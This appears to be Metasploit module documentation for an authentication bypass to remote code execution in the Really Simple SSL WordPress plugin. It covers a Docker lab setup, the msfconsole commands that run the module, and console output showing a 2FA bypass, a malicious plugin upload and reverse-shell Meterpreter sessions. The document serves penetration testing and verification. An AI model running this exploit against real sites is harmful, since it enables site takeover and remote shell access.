## Vulnerable Application

The vulnerability affects the **Really Simple SSL** plugin, version **9.1.1** and below, allowing an **authentication bypass** attack.
This can be leveraged to bypass 2FA with specified `user_id` and gain full control of the WordPress instance.

### Pre-requisites:
- **Docker** and **Docker Compose** installed on your system.


### Setup Instructions

1. **Download the Docker Compose file**:
   Below is the content of the **docker-compose.yml** file to set up WordPress with the vulnerable plugin and a MySQL database.

```yaml
version: '3.1'

services:
  wordpress:
    image: wordpress:latest
    restart: always
    ports:
      - 5555:80
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: chocapikk
      WORDPRESS_DB_PASSWORD: dummy_password
      WORDPRESS_DB_NAME: exploit_market
    mem_limit: 512m
    volumes:
      - wordpress:/var/www/html
      - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini

  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: exploit_market
      MYSQL_USER: chocapikk
      MYSQL_PASSWORD: dummy_password
      MYSQL_RANDOM_ROOT_PASSWORD: '1'
    volumes:
      - db:/var/lib/mysql

volumes:
  wordpress:
  db:
```

2. **Add custom PHP configuration**:
    - Create a file named `custom.ini` in the same directory as `docker-compose.yml` with the following content:

```ini
upload_max_filesize = 64M
post_max_size = 64M
```

3. **Start the Docker environment**:
- In the directory where you saved the `docker-compose.yml` file, run the following command to start the services:

```bash
docker-compose up -d
```

4. **Install and activate the plugin**:
- Download the vulnerable version of **Really Simple SSL**:
```bash
wget https://downloads.wordpress.org/plugin/really-simple-ssl.9.1.1.zip
```
- Extract the plugin:
```bash
unzip really-simple-ssl.9.1.1.zip
```
- Copy the plugin files to the WordPress container:
```bash
docker cp really-simple-ssl wordpress:/var/www/html/wp-content/plugins/
```
- Navigate to `http://localhost:5555/wp-admin` in your browser and activate the plugin in the WordPress admin panel.

5. **Enable Two-Factor Authentication**:
- Go to **Settings > Really Simple Security**.
- Activate **Two-Factor Authentication**.


## Verification Steps

1. **Set up WordPress** with the vulnerable **Really Simple SSL** plugin.
2. **Start Metasploit** using the command `msfconsole`.
3. Use the correct module for the vulnerability:

```bash
use exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce
```

4. Set the target's IP and URI:

```bash
set RHOSTS <target_ip>
set TARGETURI /
```

5. **Run the module**:

```bash
run
```

6. **Verify the Authentication Bypass**:
- After running the module, the payload will bypass Two-Factor Authentication and attempt to create a new administrator.

## Options

### USERID

The user ID to target for 2FA bypass (default: 1)

## Scenarios

### Example 1: PHP Meterpreter (ARCH_PHP)

```bash
msf exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555

[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected vulnerable plugin slug: really-simple-ssl
[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable.
[*] 2FA bypass successful. Uploading plugin...
[*] Executing the payload at /wp-content/plugins/wp_1ftvf/ajax_pottw.php...
[*] Sending stage (40004 bytes) to 172.18.0.3
[+] Deleted ajax_pottw.php
[+] Deleted wp_1ftvf.php
[+] Deleted ../wp_1ftvf
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:37730) at 2024-11-18 20:07:17 +0100

meterpreter > sysinfo 
Computer    : a8dddfbbb9e2
OS          : Linux a8dddfbbb9e2 5.15.0-125-generic #135-Ubuntu SMP Fri Sep 27 13:53:58 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter >
```

### Example 2: Linux Command Shell (ARCH_CMD)

```bash
msf exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555

[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected vulnerable plugin slug: really-simple-ssl
[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable.
[*] 2FA bypass successful. Uploading plugin...
[*] Executing the payload at /wp-content/plugins/wp_3wbfa/ajax_gjreh.php...
[*] Sending stage (3045380 bytes) to 172.18.0.3
[+] Deleted ajax_gjreh.php
[+] Deleted wp_3wbfa.php
[+] Deleted ../wp_3wbfa
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50344) at 2024-11-18 20:12:00 +0100

meterpreter > sysinfo 
Computer     : 172.18.0.3
OS           : Debian 11.8 (Linux 5.15.0-125-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```
